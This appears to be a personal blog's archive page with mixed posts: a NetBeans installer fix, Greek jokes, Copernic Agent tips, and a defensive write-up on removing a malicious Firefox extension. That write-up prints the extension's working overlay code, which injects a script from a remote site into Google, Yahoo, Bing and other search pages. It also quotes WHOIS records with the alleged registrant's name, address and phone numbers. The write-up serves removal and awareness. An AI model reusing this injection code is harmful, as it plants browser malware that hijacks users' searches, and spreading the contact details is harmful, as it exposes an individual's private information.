Archive
fix: Java SE Development Kit (JDK) was not found on this computer
I was just installing the fine IDE NetBeans 6.9 and its installer asked me to install the Java JDK first. It was saying "Java SE Development Kit (JDK) was not found on this computer" (see screenshot). The dialog points one to download the JDK at http://java.sun.com/javase/downloads. Since Oracle acquired Sun, now that redirects to http://www.oracle.com/technetwork/java/javase/downloads/index.html.
The JDK seems to be included in Java SDK now together with GlassFish Enterprise Server, so their page takes you to that when you ask for the latest JDK (btw, the version numbers can confuse you since the SDK has a lower version number than the JDK that’s included in it).
After installing the SDK (JDK and GlassFish etc.), I created a batch file (install-netbeans.bat) to launch the NetBeans installer with the appropriate parameter (was too bored to try the alternative of setting the JAVA_HOME environment variable in Computer’s Advanced Properties at Windows):
netbeans-6.9-ml-windows.exe -javahome "c:/somefolderpath/glassfishv3/jdk/bin"
…but I kept on getting the same error dialog again and again. Then I did a web search for "netbeans installer javahome" and came across FaqInstallJavaHome NetBeans wiki entry where I noticed that whereas Netbeans 4.x/5.x used "-is:javahome", NetBeans 6.x uses "–javahome".
YES, WITH TWO DASHES IN FRONT of "javahome" installer argument! Totally foreign syntax to Windows world (but not to Unix commands and the Java runtime launcher syntax [at least in recent years]). Even worse is that it’s almost impossible to notice the double dash with the font face used in that error dialog.
All was finally fine using this one (just added the extra dash to write –javahome instead of -javahome):
netbeans-6.9-ml-windows.exe –javahome "c:/somefolderpath/glassfishv3/jdk/bin"
Ανέκδοτο: Επίκαιρο – στην υγειά μας…
Εν αρχή ο Θεός γέμισε τη γη με μπρόκολο, κουνουπίδι και σπανάκι,
πράσινα, κίτρινα και κόκκινα λαχανικά όλων των ειδών,
ώστε ο άνδρας και η γυναίκα να ζήσουν υγιεινά και παντοτινά.
Ο σατανάς όμως δημιούργησε τα Haagen Dazs…
και τα διάφορα cookies.
Και ρώτησε: «Λίγη ακόμη σάλτσα βύσσινου;»
και ο άνδρας απήντησε: «Ευχαρίστως!»
και η γυναίκα πρόσθεσε: «Παρακαλώ για μένα άλλη μια ζεστή βάφλα με σαντιγύ!».
Και έτσι πήραν και οι δύο από 5 κιλά .
Και ο Θεός δημιούργησε το γιαούρτι, ώστε να διατηρήσει η γυναίκα το
σώμα της όπως άρεσε στον άνδρα.
Και ο σατανάς δημιούργησε από το σιτάρι το άσπρο αλεύρι
και από το ζαχαροκάλαμο τη ζάχαρη και τα συνδύασε.
Και η γυναίκα άλλαξε νούμερο στην ένδυσή της και πήγε από το 38 στο 46.
Και έτσι είπε ο Κύριος: «Δοκίμασε το φρέσκο μαρούλι μου!»
Και ο σατανάς εφεύρε το ντρέσσιγκ και το σκορδόψωμο ως συνοδευτικά.
Και οι άνδρες και οι γυναίκες μετά από αυτή την απόλαυση
άνοιξαν τις ζώνες τους κατά τουλάχιστον μία τρύπα.
Ο Κύριος όμως είπε: «Σας έδωσα φρέσκα λαχανικά και ελαιόλαδο, στο
οποίο να μαγειρεύετε υγιεινά!»
Και ο σατανάς συνόδεψε τα φαγητά αυτά με δεύτερο πιάτο,
από νόστιμες μπουκίτσες από ψωμάκια, τυράκια camembert, αστακό σε
βούτυρο μυρωδάτο και φιλετάκια κοτόπουλου.
Και οι τιμές χοληστερίνης του ανθρώπου ανέβηκαν στα ουράνια.
Ετσι ο Θεός έδωσε στον άνθρωπο αθλητικά παπούτσια, ώστε να χάσει
μερικά κιλά με την άθληση.
Και ο σατανάς δημιούργησε την δορυφορική τηλεόραση και τα DVD μαζί με
τα τηλεχειριστήρια, για να μην κουράζεται ο άνθρωπος με το ζάπινγκ.
Και οι άνδρες και οι γυναίκες γελούσαν και έκλαιγαν μπροστά την οθόνη
και άρχισαν να φοράνε ελαστικές φόρμες αδυνατίσματος.
Ετσι ο Θεός δημιούργησε την πατάτα, φτωχή σε λίπος και κάλιο και
γεμάτη θρεπτικές ουσίες.
Και ο σατανάς αφαίρεσε την φλούδα και έκοψε το εσωτερικό της σε πατατάκια,
τα οποία τηγάνησε και τα κάλυψε με πολύ αλάτι..
Και ο άνθρωπος πήρε μερικά κιλά ακόμη…
Ο Θεός όμως έφερε το άπαχο κρέας, ώστε τα τέκνα του να χορταίνουν
προλαμβάνοντας λιγότερες θερμίδες.
Και ο σατανάς έφερε τα Goodys και το τσίζμπουργκερ των 99 λεπτών.
Και ρώτησε ο σατανάς: «Θέλεις και τηγανητές πατάτες;»
Και είπε ο άνθρωπος: «Βεβαίως, μια μεγάλη μερίδα με μαγιονέζα!».
Kαι σχολίασε ο σατανάς: «Ετσι μπράβο!»
Και ο άνθρωπος έπαθε έμφραγμα.
Και ο Θεός αναστέναξε και δημιούργησε το τετραπλό μπαϊ-πάς της καρδιάς.
Και τότε ο σατανάς είπε ‘είπαμε να παίζουμε τίμια’…
…Και δημιούργησε το ΙΚΑ.
(στη θέση του ΙΚΑ μπορείτε να βάλετε το ΕΣΥ… μια από τα ίδια είναι άλλωστε, ίσως και χειρότερα ανάλογα με το που θα πέσεις)
Ανέκδοτο: Συμβουλευτική…
Ένας ßοσκός, ενώ έßοσκε τα πρόßατά του σε µια απόµερη τοποθεσία, ßλέπει από µακριά να πλησιάζει µια αστραφτερή ΒΜW.Ο οδηγός, ένας νεαρός ντυµένος µε κοστούµι Versace, παπούτσια Gucci, γυαλιά ηλίου Ray Ban και Yves Saint Laurent γραßάτα, σταµατάει δίπλα του, κατεßάζει το παράθυρο και του λέει: - Aν σου πω ακριßώς πόσα πρόßατα έχεις στο κοπάδι σου, θα µου δώσεις ένα;Ο ßοσκός κοιτάει το νεαρό, που ήταν φανερά ένας γιάπης, κοιτάει και το κοπάδι και του απαντά ήρεµα: -Ναι, γιατί όχι;
Αµέσως λοιπόν ο γιάπης κατεßαίνει από το αυτοκίνητο µαζί µε ένα laptop Dell το οποίο και συνδέει µε ένα κινητό Motorola µε παγκόσµια σύνδεση της AT&T. Αφού συνδέεται µε το Internet, πηγαίνει σε µια σελίδα της NASA, και επιλέγει ένα σύστηµα δορυφορικού προσδιορισµού τοποθεσίας GPS το οποίο υπολογίζει την ακριßή τοποθεσία στην οποία ßρίσκονται και αποστέλλει τα στοιχεία αυτά σε ένα άλλο δορυφόρο της ΝASA ο οποίος σκανάρει την περιοχή και ßγάζει µια φωτογραφίαυπέρ-υψηλής ανάλυσης.
Αφού επεξεργάζεται τη φωτογραφία µε το πρόγραµµα Adobe Photoshop,στέλνει την εικόνα σε ένα εργαστήριο ερευνών στο Αµßούργο, στηΓερµανία και µετά από µερικά δευτερόλεπτα λαµßάνει στο Palm Pilot του ένα e-mail που επιßεßαιώνει ότι η φωτογραφία έχει αναλυθεί και ταστοιχεία έχουν καταχωρηθεί σε µια ßάση δεδοµένων.
Μέσω µιας σύνδεσης ΟDBC εισχωρεί σε µια MS-SQL database και καταχωρεί όλα τα στοιχεία σε ένα φύλλο εργασίας Excel το οποίο και στέλνει µέσω e-mail στο Blackberry του.
Μετά από λίγα λεπτά εκτυπώνει µια έκθεση 150 σελίδων µε έγχρωµες φωτογραφίες από τον καινούργιο του HP LaserJet εκτυπωτή και αφού τη διαßάζει λέει στο ßοσκό:
-Έχεις ακριßώς… 1586 πρόßατα!!!!’.
-Ακριßώς, λέει ο ßοσκός. – Καλώς λοιπόν, µπορείς να πάρεις όποιο πρόßατο θέλεις και κοιτάζει το νεαρό καθώς διαλέγει το ζώο και το µεταφέρει στο πορτ-µπαγκάζ του αυτοκινήτου.
Εκείνη τη στιγµή, λέει ο ßοσκός στο νεαρό:
-Να σου πω………… αν ßρω ακριßώς τι δουλειά κάνεις, θα µου επιστρέψεις το πρόßατο;
Ο γιάπης το σκέφτεται για µια στιγµή, και µετά λέει γελώντας στο ßοσκό:
-ΟΚ, γιατί όχι;
-Είσαι σύµßουλος επιχειρήσεων, λέει ο ßοσκός.
-Απίστευτο, λέει αποσßολωµένος ο νεαρός, έτσι είναι!!
-Μα πώς το µάντεψες;
-Δεν είναι και τόσο δύσκολο, λέει ο ßοσκός.-Ήρθες από το πουθενά, χωρίς να στο ζητήσει κανείς, θέλεις να ßρεις για εµένα µια απάντηση που ήδη γνωρίζω, σε µια ερώτηση που δεν σε ρώτησε κανείς και θες και να πληρωθείς και γι’ αυτό, και το καλύτερο: δεν έχεις ιδέα από αυτή την επιχείρηση….Τώρα, θα µου δώσεις πίσω το σκύλο µου;
Is Java Plugin a threat to your computer’s security?
Just recently I took upon the task to remove some trojans from a system that was showing AdultFriendFinder ads when the user was conducting searches on the Internet. Searching for the cause of the infection, since the user had been very cautious in the first place (however not consistently using an antivirus due to machine performance issues), the most probable security hole on the system seems to have been Sun’s (now Oracle) Java Plugin, as one can easily see from the picture above.
It’s a (stitched because of the small scroll-pane and lack of text copy/export capability) screenshot from the result of a full system scan using Microsoft’s free Windows Live OneCare Safety scanner (that one runs only using Internet Explorer on Windows – it’s provided as an ActiveX control that installs and runs from inside the web browser [however if your system is infected you may have to temporarily set security zones to low security to instantiate the scanner since some trojans manage to block it otherwise]). From that security hole, some TrojanDownloaders came in and opened a huge backdoor for more stuff to come through…
The moral story learned is to never turn off Java’s updater and maybe even better disable Java Plugin (e.g. from its applet at the Windows Control Panel) altogether.
In the meantime, better wipe clear the contents of the folder "%AppData%\..\LocalLow\sun\cache" (".." means go to parent folder [one folder up]). All those exploits had installed stuff in that location.
Watch out for “Firefox security” at your Mozilla Firefox add-ons
If you go to Tools / Add-ons menu (might be calling them "Plugins" or "Extensions", don’t remember the exact English text there) at Mozilla FireFox, do you see one called "Firefox security" there with subtitle "Internal security options editor."? If so, then uninstall it immediately, it’s Trojan JS/Dursg.C or a variant.
See more info at the JS/Dursg.C trojan description page for other items (e.g. startup processes) the trojan installs that need to be removed. You can also use Microsoft’s free OneCare Live Scanner and select full scan to remove this threat (runs using Internet Explorer only and if the trojan has infected your system you may need to set security zones in IE to low temporarily to bypass the trojan’s trickery and make it to access the virus scanner if it says that IE didn’t allow the ActiveX control to initialize in an unsafe manner).
BTW, also remove the folder %ProgramFiles%\Mozilla Firefox\extensions\{9CE11043-9A15-4207-A565-0C94C42D590D}
In there you’ll see:
(1) at main folder a chrome.manifest:
content ttimer chrome/content/
overlay chrome://browser/content/browser.xul chrome://ttimer/content/timer.xul
locale ttimer ja chrome/locale/ja/
interesting that it speaks about locale ja there (Japan)
(2) an install.rdf file that claims "Mozila Ltd." (note the single "l" there) as the creator of the add-on and describes it as "Internal security options editor." (the dot at the end of the description string could make one suspicious I guess from the beginning):
<?xml version="1.0"?>
<RDF xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
xmlns:em="http://www.mozilla.org/2004/em-rdf#">
<Description about="urn:mozilla:install-manifest">
<em:name>Firefox security</em:name>
<em:id>{9CE11043-9A15-4207-A565-0C94C42D590D}</em:id>
<em:version>2.0</em:version>
<em:creator>Mozila Ltd.</em:creator>
<em:description>Internal security options editor.</em:description>
<em:type>2</em:type>
<em:hidden>true</em:hidden>
<em:targetApplication>
<Description>
<em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id>
<em:minVersion>2.*</em:minVersion>
<em:maxVersion>5.*</em:maxVersion>
</Description>
</em:targetApplication>
</Description>
</RDF>
(3) at content\chrome subfolder a timer.xul file that injects a remote malicious script from a remote site every time you do a web search using search engines Google / Yahoo / Bing / Ask.com / AOL.
<?xml version="1.0" encoding="UTF-8"?>
<overlay id="xulcache-overlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"><script type="application/x-javascript" >
function Insert() {
var headID = content.document.getElementsByTagName("head")[0];
var newScript = content.document.createElement("script");
newScript.type = "text/javascript";
newScript.src = "http://iwantbeborin.com/request.php?aid=blackout";
headID.appendChild(newScript);
}
function URL() {
var url=content.document.location.href;
if(url.indexOf("googlesearchserver") == -1 ) {
if(url.indexOf("search") != -1 ) {
if(url.indexOf("google.com") != -1) { Insert(); }
if(url.indexOf("yahoo.com") != -1) { Insert(); }
if(url.indexOf("bing.com") != -1) {Insert();}
if(url.indexOf("ask.com") != -1) { Insert(); }
if(url.indexOf("aol.com/aol/search?s_it") != -1) {Insert();}
}
}
}window.addEventListener("load", init, false);
function init() {
var appcontent = document.getElementById("appcontent");
if(appcontent) {
appcontent.addEventListener("DOMContentLoaded", onPageLoad, true);
}
}function onPageLoad(aEvent) {
URL();
}</script>
</overlay>
Note the really crap programming style at URL() function, the guy hasn’t heard of the logical-OR boolean operation?
Web browsers should be more stringent against known malicious extensions like that and proactively monitor for them being installed (even if the user tries to) and block them if they’re found to be installed (using some periodic or startup check). Moreover I don’t think extensions should be allowed to be installed outside of the browser’s extension management GUI, so that other applications and exploits can’t infect the browser with such malicious extensions without the user noticing. In fact I went on and suggested this to the Firefox team on Twitter (@firefox).
In a system I cleaned recently, it was loading the remote stuff from ""iwantbeborin.com" and showing "AdultFriendFinder" ads (it’s obvious they got something in return to advertise that crap – such rogue businesses like AdultFriendFinder should be shut down (or at least blocked till they behave) by authorities since they’re showing XXX content to minors etc., are following illegal trade practices that hurt competition and intrude in third party systems threatening user’s privacy and costing them precious work time and money to repair their systems).
Domain Tools (http://whois.domaintools.com/iwantbeborin.com) have more info on this $$$hole:
Domain name: iwantbeborin.com
Status: Active
Protection Status: public
( make contact info private at http://www.now.cn/domain/domainPrivate.php )
Registrant:
Name: Alexey Prokopenko
Address: Lenina 4, kv 1
City: Ubileine
Province/state: LUGANSKA OBL
Country: UA
Postal Code: 519000
Administrative Contact:
Name: Alexey Prokopenko
Organization: Alexey Prokopenko
Address: Lenina 4, kv 1
City: Ubileine
Province/state: LUGANSKA OBL
Country: UA
Postal Code: 519000
Phone: +380.979668534
Fax: +380.979668535
Email:
Technical Contact:
Name: Alexey Prokopenko
Organization: Alexey Prokopenko
Address: Lenina 4, kv 1
City: Ubileine
Province/state: LUGANSKA OBL
Country: UA
Postal Code: 519000
Nameserver Information:
ns1.everydns.net
ns2.everydns.net
ns3.everydns.net
ns4.everydns.net
Create: 2010-03-16 06:06:02
Update: 2010-03-16
Expired: 2011-03-16
QueryTimes: 65
Their Reverse Whois info there says:
"Alexey Prokopenko" owns about 30 other domains
Email Search:
is associated with about 76 domains
Registrar History: 1 registrar
NS History: 1 change on 2 unique name servers over 0 year.
IP History: 4 changes on 4 unique name servers over 0 years.
Whois History: 6 records have been archived since 2010-03-17 .
Reverse IP: 6 other sites hosted on this server.
If anyone has paid access to DomainTools I’d like to know which other 30 malicious domains this guy has and what are the other 6 sites hosted on the same malicious server.
Suggestion: why not have a “Recent folders” pane at Outlook’s “Mail” sidebar?
I’d like to see a "Recent folders" pane at Outlook under "Mail" sidebar view (not just "Favorite Folders" and "Mail folders").
Not sure if Outlook 2010 has added this already though, haven’t found the time to install it yet.
Copernic Agent tips: Adding Google to search engines list etc.
Copernic Agent is a very nice meta-search tool that can simultaneously search using multiple search engines.
It can help you organize your searches, filter search results, track search results for future changes (last one is available at the Professional version only, not at the free Basic version or at the intermediate Personal version) etc.
Here are some useful tips if you’re using it:
- Copernic Agent by default doesn’t show Google to the list of multiple search engines you can use for searching. The following workaround is from Copernic support:
Create a update.reg file with a text editor (make sure it doesn’t append .txt to the file when you save it else use folder options to have Windows always show file extensions and then remove the .txt file extension so that the file extension is .reg and not .reg.txt)
REGEDIT4 [HKEY_CURRENT_USER\Software\Copernic\Agent\System] "EngineUpdateAddress"="http://updates.copernic.com/k2upd/agentex"Save the file and then double-click it to run it. Windows will ask you if you want to update the registry, say OK.
Then launch Copernic Agent, go to Tools menu and selection menu action “Check for Search Engine Updates”. After update finishes check the Quick Search tab, where it says “N engines enabled” and click that link to see dialog with more engines to enable for Copernic Agent’s search. Google will now be one of the checkboxes there, check it and press OK (will remember it at next search).
WARNING: seems if you use the above registry update with the NEW (and now free) Copernic Agent Personal it removes various search engines from different categories (including TV and Web). Maybe it still has older updates there that were for Copernic Agent Basic only or for the older Personal version. Wonder what the correct engine updates URL is for the new version. Commenting out the entry above in registry and doing search engines update again doesn’t fix the issue. Probably have to uninstall Copernic then and reinstall again.
- Do select from menus the Result/Filter command. That shows a filter toolbar above the results list. This allows you to checkmark interesting results and then select checkmarked from the Status dropdown list at the filtering toolbar to only see previously checkmarked results from that specific search.
- Very useful is also the Folders pane where you can organize searches in categories (it would be even nicer if you could organize searches using tags and have virtual folders autogenerated based on the tags as in Delicious bookmarks browser add-on).
- Update: A cool shortcut I just found by accident is that apart from double-clicking a search to edit its parameters and re-launch it, you can double-click in the empty space at the end of a previous searches list to open a new search window.
Χωρίς παράνομες διαφημιστικές πινακίδες
Εδώ μπορείτε να αναφέρετε παράνομες διαφημιστικές πινακίδες (σε Αθήνα κ’ Θεσσαλονίκη προς το παρόν): http://illegalsigns.gov.gr
Γραφτείτε σα "φίλος" για να στηρίξετε την πολύ καλή αυτή προσπάθεια της ελληνικής κυβέρνησης: http://www.facebook.com/illegalsignsgr
Actively seeking out our mistakes
A wonderful quote from Dave Winer’s (sometimes referred to as the father of blogging and RSS) article "What’s so hard about a mea culpa" at scripting.com
I come from a profession, software development, where we actively seek out our mistakes. We have formal processes for it. We teach our users how to report the mistakes, so we’re more likely to understand what they’re saying. We’d be nowhere if we tried to deny mistakes. Bugs could never be fixed, processes could never be corrected, we’d never move past the mistakes we made in the past.
